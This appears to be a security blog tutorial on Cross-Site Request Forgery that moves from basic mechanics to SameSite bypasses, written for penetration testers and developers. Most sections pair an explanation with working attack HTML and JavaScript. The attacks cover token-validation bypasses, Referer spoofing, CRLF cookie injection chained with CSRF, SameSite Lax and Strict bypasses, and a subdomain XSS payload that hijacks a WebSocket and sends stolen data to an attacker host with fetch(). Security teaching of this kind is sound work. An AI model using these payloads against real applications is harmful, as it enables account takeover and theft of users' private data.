Post cover image

July 5, 2026

The Modern CSRF Playbook: From Basic Mechanics to SameSite Bypasses

The Ghost in the Browser: Why CSRF Isn’t Dead Yet

By Sau Rav

13 min read

If you ask a developer about Cross-Site Request Forgery today, they will probably say it is no longer a problem. They will tell you that modern frameworks and unguessable anti-CSRF tokens make it impossible to manipulate a user's browser. They will also mention that many websites now use SameSite cookie attributes to kill the attack class entirely.

This is not entirely true.

While it is no longer easy to trick a user's browser into executing a blind, cross-site request, CSRF is still a massive problem. It has just evolved. When developers do not understand how to validate user requests, or when they implement anti-CSRF tokens incorrectly, they leave the door wide open for attackers.

In this guide, we will look at how modern CSRF attacks actually work. We will start with the baseline mechanics of how browsers handle ambient authentication. Then, we will systematically escalate into the advanced techniques attackers use to bypass modern security measures. These techniques include dismantling flawed token logic, weaponizing CRLF injections to forge cookies, and exploiting weaknesses in OAuth flows to crush SameSite restrictions.

Whether you are a penetration tester looking to chain low-severity bugs into account takeovers, or a developer wanting to understand exactly how your defenses can be dismantled, this guide will show you how modern CSRF works — and how to stop it.Phase 1: The Architectural Breakdown & Mechanics

Phase 1 : The Core Philosophy: Ambient Authentication vs. Attacker Requests

The foundational misunderstanding beginners have about CSRF is: "If the attacker can forge a request, why don't they just send it from their own terminal/server?"

The answer lies in how modern web architectures handle state via Ambient Authentication.

  • The Attacker's Constraints: If an attacker sends a direct request via curl or a Python script to https://target.com/my-account/change-email, the server will reject it because the request lacks valid session identifiers (e.g., cookies). The attacker does not know the victim's session cookie.
  • The Browser's Trust Engine: The browser operates under a standard mechanism: whenever an HTTP request is dispatched to a specific domain, the browser automatically scans its internal cookie jar for any cookies associated with that domain. If found, it attaches them to the Cookie header of the outgoing request—regardless of who or what script initiated that request.

Therefore, the attacker doesn't steal the cookie; they steal the browser's execution context.

[Attacker Website]
       │
       │ (1) Lures Victim to evil.com
       ▼
[Victim's Browser] ──(2) Executes hidden payload──► [Target Application]
                                                          │
                                                          │ (3) Automatically appends
                                                          ▼     Victim's Session Cookie

2. The Attack Conditions Checklist

Before an application is verified as vulnerable to a baseline CSRF attack, three strict criteria must align simultaneously:

  1. A Relevant State-Changing Action: The endpoint must execute an action that alters the application's data or state (e.g., changing passwords, updating email addresses, modifying account permissions, transferring funds). A pure read action (like viewing a profile) cannot result in traditional CSRF impact.
  2. Cookie-Based Session Management: The application relies entirely on cookies to track sessions. If the application tracks sessions via custom headers (like Authorization: Bearer <JWT>) stored in client-side storage (localStorage), it is inherently immune to standard CSRF because the browser will not automatically append those values.
  3. Absence of Unpredictable Request Parameters: The application lacks defense mechanisms that introduce dynamic, randomized secrets into the request payload or validate structural context (e.g., missing anti-CSRF tokens, lack of strict SameSite configurations, or no source validation headers like Origin/Referer).

The Execution Flow: The Zero-Defense Exploit

When these three conditions are met, an attacker can build an HTML infrastructure designed to force the victim's browser into executing an unintended action.

The Exploit Scenario

  • Target Endpoint: POST ``[https://target.com/my-account/change-email](https://target.com/my-account/change-email)
  • Expected Content-Type: application/x-www-form-urlencoded
  • Parameters: email=victim@target.com

The Technical Payload

<html>
    <body>
       <form method="POST" action="https://target.com/my-account/change-email">
            <input type="hidden" name="email" value="pwnedd@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Mechanical Step-by-Step Breakdown

  1. The Bait: The victim, while authenticated to target.com, visits the attacker's malicious domain (https://evil-attacker.xyz/exploit.html).
  2. DOM Parsing: The victim's browser parses the HTML document. It encounters a standard HTML <form> element configured to send a cross-site POST request to the vulnerable endpoint. The input fields are set to type="hidden" so the victim notices nothing unusual on their screen.
  3. Automated Execution: The <script> tag executes immediately upon reaching that line in the DOM parsing flow. It calls the DOM method submit() on the form object.
  4. Network Serialization: The browser serializes the hidden input data into a body string: email=pwned%40evil-attacker.xyz.
  5. Cookie Attachment: The browser recognizes that the destination is target.com. It queries its internal cookie storage, extracts the session cookie belonging to target.com, and appends it to the outbound request header:
POST /my-account/change-email HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=xyz123456789victimsession
Connection: close

email=pwned%40evil-attacker.xyz
  1. Server-Side Processing: The application server receives the request, reads the valid session=xyz12345... cookie, resolves it to the victim's active session, and processes the email change without realizing the request originated from an untrusted document context.

Now that we have established the mechanical architecture of a baseline CSRF attack, we can use this as our launching pad for the more complex bypasses.

Phase 2: Dismantling Token Validations

When writing about CSRF tokens for a technical audience, the most important concept to drive home is this: A token is not a magical shield; it is a string of characters evaluated by conditional logic. And wherever there is conditional logic, there is the potential for human error.

In this phase, we move beyond basic misconfigurations and start exploiting the developer's assumptions about how tokens are validated.

1. The Method Switch: Exploiting Asymmetric Validation

Often, developers apply CSRF middleware strictly to POST, PUT, or DELETE requests, operating under the assumption that GET requests will never be used for state-changing actions (as per RESTful conventions).

The Mechanical Flaw: If the application's routing logic is loosely defined — for example, using $_REQUEST in PHP or @RequestMapping without a method specifier in Spring—the endpoint will happily process a GET request. Because the CSRF middleware only fires on POST, the GET request slips right past the defense.

The Exploit: We transform a standard POST payload into a GET request, moving the parameters to the URL query string.

<form action="https://target.com/my-account/change-email">
    <input type="hidden" name="email" value="pwned@attacker.com">
</form>
<script>
    // The browser converts this to a GET request:
    // GET /my-account/change-email?email=pwned@attacker.com
    document.forms[0].submit();
</script>

2. The Null Payload: Exploiting Conditional Logic

This vulnerability usually arises from technical debt, backward compatibility, or APIs that serve both web and mobile clients (where mobile might use API keys instead of cookies, making CSRF tokens irrelevant).

The Mechanical Flaw: The developer writes a validation check that says: "If a CSRF token is present in the request, validate it. Otherwise, let it through."

// The flawed server-side pseudo-code
if (req.body.csrf_token) {
validateToken(req.body.csrf_token, user.session);
}
// If it's undefined, the code just keeps executing
updateEmail(req.body.email);

The Exploit:

The bypass is remarkably simple: we just don't send the token. By removing the hidden input field entirely, the server-side if statement evaluates to false, the validation is bypassed, and the state-changing action executes.

<html>
    <body>
       <form method="POST" action="https://target.com/my-account/change-email">
            <input type="hidden" name="email" value="pwned@attacker.com" />
            </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

3. The Decoupled Session Flaw: Cross-User Reusability

This is where we transition into slightly more complex logic flaws. In this scenario, the token is present, and the server strictly validates it. You cannot drop it, and you cannot switch the HTTP method.

The Mechanical Flaw: The application generates cryptographically secure CSRF tokens and stores them in a database or cache. However, the server only checks if the submitted token exists in the pool of valid tokens. It fails to verify that the token specifically belongs to the session of the user making the request.

The Attack Flow:

  1. The attacker logs into the application using their own account.
  2. The attacker intercepts a legitimate request and copies their own valid CSRF token (e.g., csrf=AttackerToken123).
  3. The attacker crafts a malicious HTML page, embedding their valid token into the payload.
  4. The victim visits the page. Their browser automatically attaches the victim's session cookie, but the form submits the attacker's CSRF token.
  5. The server sees a valid session (Victim) and a valid token (Attacker). Because they aren't cryptographically bound to each other, the server accepts the request.

The Exploit :

<html>
    <body>
       <form method="POST" action="https://target.com/my-account/change-email">
            <input type="hidden" name="email" value="pwned@attacker.com" />
            <input type="hidden" name="csrf" value="AttackerToken123" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Phase 3: Tricking the "Caller ID" (Bypassing HTTP Headers)

Sometimes, developers don't want to deal with the hassle of CSRF tokens. Instead, they try a shortcut: they check the Referer header.

Think of the Referer header like Caller ID for web traffic. When a user clicks a button on Website A that sends a request to Website B, the browser automatically attaches a note that says: "Hey, this request is coming from Website A."

The developer's logic is simple: "If the Caller ID doesn't say our website, block it!"

But here is how attackers easily trick that system in two different ways.

1. The "Unknown Caller" Bypass (Missing Referer)

Some users have strict privacy settings, VPNs, or browser extensions that completely erase their "Caller ID" before they browse the web.

Because developers don't want to accidentally block their own paying customers who value privacy, they often make a critical mistake in their code. Their rule actually says:

"If there is a Caller ID, make sure it's us. But if there is no Caller ID at all, just let them in."

The Exploit: As an attacker, we don't have to fake the Caller ID. We just have to hide it. We can add a single line of HTML to our malicious website that commands the victim's browser to drop the Referer header entirely.

<!DOCTYPE html>
<html>
  <head>
    <!-- This single line tells the browser: "Do not send a Caller ID" -->
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <!-- The malicious hidden form -->
    <form action="https://target.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil.com">
    </form>

    <script>
      // Automatically submit the form
      document.forms[0].submit();
    </script>
  </body>
</html>

When this runs, the server sees a blank Referer, assumes it's just a privacy-conscious user, and lets the attack through.

2. The "Name Badge" Trick (Broken Substring Validation)

What happens if the developer forces the Caller ID to be there?

Often, developers write lazy validation code. Instead of checking if the Referer is exactly https://target.com, they just check if the words target.com exist anywhere inside it.

Imagine a bouncer at a club looking at a name badge. Instead of making sure your name is "John Smith", the bouncer just checks if the word "John" is written anywhere on your shirt.

The Exploit: Since we own our malicious website, we can just name our webpage after the target! We can change our own URL to look like this: https://evil-website.com/?target.com

When the victim's browser sends the request, the Referer header will include that full URL. The lazy server sees target.comtucked at the very end, thinks everything is fine, and allows the attack.

The Code to Make it Work: To do this smoothly, we use a tiny bit of JavaScript called history.pushState(). It silently changes the URL in the user's browser bar right before the attack fires.

<!DOCTYPE html>
<html>
  <head>
    <!-- Modern browsers try to hide the end of the URL for privacy.
         This tag forces the browser to send the FULL URL. -->
    <meta name="referrer" content="unsafe-url">
  </head>
  <body>
    <form action="https://target.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil.com">
    </form>

    <script>
      // 1. Silently add the target's name to our own URL
      history.pushState("", "", "/?target.com");

      // 2. Submit the form! The browser will use the new fake URL as the Caller ID.
      document.forms[0].submit();
    </script>
  </body>
</html>

Phase 4: Forging the VIP Wristband (Cookie Manipulation & CRLF)

Sometimes, developers know that checking the Referer (Caller ID) isn't enough, so they enforce strict CSRF tokens. But to make their servers run faster, they decide not to store those tokens in a database. Instead, they use a Double-Submitpattern or a separate csrfKey cookie.

Think of this like a nightclub where the bouncer checks two things before letting you into the VIP section:

  1. The Ticket in your hand (the hidden CSRF token in the form).
  2. The VIP Wristband on your arm (a secondary cookie stored in your browser).

The bouncer's only job is to make sure the number on the ticket matches the number on the wristband.

The Fatal Flaw: The bouncer never checks who put the wristband on your arm. If an attacker can sneak up to the victim and slap a fake, attacker-controlled wristband on them, the bouncer will let them through, because the attacker also provides a matching ticket.

1. How Do We Forge the Wristband? (Enter CRLF Injection)

To force a fake wristband (cookie) onto the victim's browser, attackers look for a seemingly harmless bug called CRLF Injection (Carriage Return Line Feed).

CRLF is just the technical term for pressing the "Enter" key.

Imagine you are filling out a physical form at a doctor's office, and the receptionist is blindly typing whatever you wrote into their official computer system. If you write your name, press "Enter," and then write "P.S. Give this patient free medicine," the system might accidentally read that second line as an official command.

That is what happens with web servers. An attacker finds a search bar (or any input) where the server reflects the user's text back in the invisible HTTP headers. The attacker types their payload, adds a hidden "Enter" key (%0d%0a), and writes an official command on the next line:

/?search=test%0d%0aSet-Cookie: csrfKey=HACKER_TOKEN

When the victim's browser reads this response, it sees the official Set-Cookie command and blindly slaps the HACKER_TOKEN wristband onto the victim's arm.

2. The 1–2 Punch (Chaining the Exploit)

To pull off this heist, the timing has to be perfect. The attacker needs the victim's browser to accept the fake wristband milliseconds before submitting the forged request.

We can achieve this using a clever trick with a broken <img> tag.

The Execution Flow:

  1. We hide the forged form on our malicious website with a ticket matching our fake wristband.
  2. We try to load an invisible image. But instead of an image URL, we put the CRLF Injection link.
  3. The victim's browser reaches out to load the "image," gets hit with the CRLF injection, and immediately puts on the fake wristband (the Set-Cookie triggers).
  4. Because the link isn't a real picture, the image fails to load. We use an onerror script that says: "If this image breaks, immediately submit the form!"

The Exploit Code :

<!DOCTYPE html>
<html>
    <body>
        <form id="csrfForm" method="POST" action="https://target.com/my-account/change-email">
            <input type="hidden" name="email" value="hacker@evil.com" />
            <input type="hidden" name="csrf" value="HACKER_TOKEN" />
        </form>

        <img
            src="https://target.com/?search=test%0d%0aSet-Cookie:%20csrfKey=HACKER_TOKEN"
            onerror="document.getElementById('csrfForm').submit()"
        >
    </body>
</html>

By chaining a low-level injection bug (CRLF) with a CSRF logic flaw, the attacker completely bypasses the token defense mechanism.

Phase 5: Cracking SameSite Defenses (The Final Boss)

For years, developers prayed for a silver bullet to kill CSRF. Enter the SameSite cookie attribute.

Think of SameSite as a customs checkpoint at the border of a country (your target application).

  • SameSite=Lax (The Default): The border patrol allows tourists (standard GET navigations) to cross, but strictly blocks commercial cargo ships (cross-site POST requests).
  • SameSite=Strict: The border patrol shuts down everything. Nobody crosses the border unless they are already inside the country.

Developers often assume that if SameSite is active, CSRF is impossible. Here is how we dismantle that assumption.

1. Bypassing Lax: Sneaking Cargo in a Tourist's Suitcase

If SameSite=Lax blocks POST requests, but allows top-level GET navigations, we simply need to force the state-changing action through a GET request.

The Mechanical Flaw: Many modern frameworks (like Laravel or Spring) use hidden parameters to route requests. If an endpoint expects a POST but the framework supports method overriding via a query parameter (like _method=POST), we can smuggle our attack through the border checkpoint.

The Exploit: We use JavaScript to force the victim's browser to perform a standard top-level navigation (GET), which Laxallows, but we append the override parameter to trick the backend backend into treating it as a POST.

<script>
    // The browser sees a safe GET navigation and attaches the Lax cookie.
    // The server reads '_method=POST' and executes the state change.
    location = "https://target.com/my-account/change-email?email=hacker@evil.com&_method=POST";
</script>

2. Bypassing Strict: Bribing the Border Guard (Client-Side Gadgets)

SameSite=Strict drops cookies for any cross-site request. Direct attacks are useless. To win, we must trick the application into making the request from the inside.

The Mechanical Flaw: We hunt for a "client-side gadget" — a piece of JavaScript on the target site that takes user input from the URL and uses it to redirect the page.

The Exploit Flow:

  1. The attacker directs the victim to the target's vulnerable redirect endpoint. Because this initial request is cross-site, the Strict cookie is not sent.
  2. The target's own JavaScript executes, reading the attacker's injected path, and redirects the browser internally to the state-changing endpoint.
  3. Because this second navigation was triggered by the target domain itself, the browser considers it a "Same-Site" navigation. The Strict checkpoint opens, the cookies are attached, and the exploit fires.
<script>
    // 1/../../ is path traversal used to break out of the intended redirect directory
    document.location = "https://target.com/post/comment/confirmation?postId=1/../../my-account/change-email?email=hacker@evil.com%26submit=1";
</script>

3. Bypassing Lax: The OAuth "Visa Refresh"

Even without method overrides, SameSite=Lax has a hidden architectural quirk: many browsers give newly issued cookies a tiny ~2-minute "grace period" where they can be used in cross-site POST requests.

The Mechanical Flaw: If the application uses a Single Sign-On (SSO) or OAuth flow (e.g., "Login with Google"), hitting the /social-login endpoint while the user is already authenticated will silently refresh their session in the background and issue a brand-new cookie.

The Exploit: We use a pop-up window to silently trigger the OAuth refresh. Once the new cookie is minted, we immediately fire the POST payload before the Lax 2-minute grace period expires.

<form method="POST" action="https://target.com/my-account/change-email">
  <input type="hidden" name="email" value="hacker@evil.com">
</form>

<p>Click anywhere to continue...</p>

<script>
// Browsers block automated pop-ups, so we bind the attack to a user click
window.onclick = () => {
    // 1. Open the OAuth endpoint to silently mint a fresh session cookie
    window.open('https://target.com/social-login');

    // 2. Wait 5 seconds for the OAuth flow to complete, then fire the POST request
    setTimeout(() => {
        document.forms[0].submit();
    }, 5000);
};
</script>

4. The Sibling Domain Pivot (Crushing Strict for CSWSH)

The most fatal misunderstanding of SameSite=Strict is the definition of a "Site." Browsers do not care about the Origin(app.target.com vs cms.target.com). They only care about the Site (target.com).

The Mechanical Flaw: If you find a Cross-Site Scripting (XSS) vulnerability on any forgotten sibling subdomain (like a blog or a CMS), you completely own the SameSite=Strict trust boundary.

If a primary application uses WebSockets (which have no native CSRF protection) and relies entirely on SameSite=Strictsession cookies, a sibling XSS turns into full Cross-Site WebSocket Hijacking (CSWSH).

The Exploit:

  • The attacker hosts their WebSocket hijacking script inside the URL of the vulnerable sibling domain (cms.target.com/login?username=<script>...).
  • The victim visits the attacker's URL. The script executes on cms.target.com.
  • The script opens a WebSocket connection to the primary application (wss://app.target.com/chat).
  • Because cms and app share the same parent site, the browser happily attaches the SameSite=Strict session cookies, allowing the attacker to silently exfiltrate private data.
// 1. Open the WebSocket connection to the primary application
var ws = new WebSocket('wss://app.target.com/chat');

ws.onopen = function() {
    // 2. Some WebSockets require a trigger message to start streaming data
    ws.send("READY");
};

ws.onmessage = function(event) {
    // 3. Capture the sensitive data (e.g., chat history, API keys)
    var exfiltratedData = btoa(event.data);

    // 4. Ship the stolen data to the attacker's listening server
    fetch('https://evil-attacker.xyz/log?data=' + exfiltratedData);
};
https://cms.target.com/login?username=%3Cscript%3Evar%20ws%20%3D%20new%20WebSocket%28%27wss%3A%2F%2Fapp.target.com%2Fchat%27%29%3Bws.onopen%20%3D%20function%28%29%20%7Bws.send%28%22READY%22%29%3B%7D%3Bws.onmessage%20%3D%20function%28event%29%20%7Bfetch%28%27https%3A%2F%2Fevil-attacker.xyz%2Flog%3Fdata%3D%27%20%2B%20btoa%28event.data%29%29%3B%7D%3B%3C%2Fscript%3E

Conclusion: Vulnerabilities Don't Disappear, They Adapt

The overarching lesson from modern CSRF exploitation is that security mechanisms are not magic shields. A CSRF token is just a string of characters evaluated by a developer's conditional logic. A SameSite attribute is not an impenetrable firewall; it is simply a browser routing rule.

When we stop looking at these defenses as absolute protections and start analyzing them as functional logic, the attack surface blows wide open. A low-impact CRLF injection suddenly becomes a vehicle for bypassing Double-Submit token defenses. A forgotten Cross-Site Scripting (XSS) flaw on a marketing subdomain becomes the pivot point to completely bypass SameSite=Strict and hijack a WebSocket connection.

As application architectures become more complex, the seams between these security mechanisms will continue to fray. For the offensive researcher, the hunt is no longer about finding a missing token — it is about finding the logic gap in how that token is verified.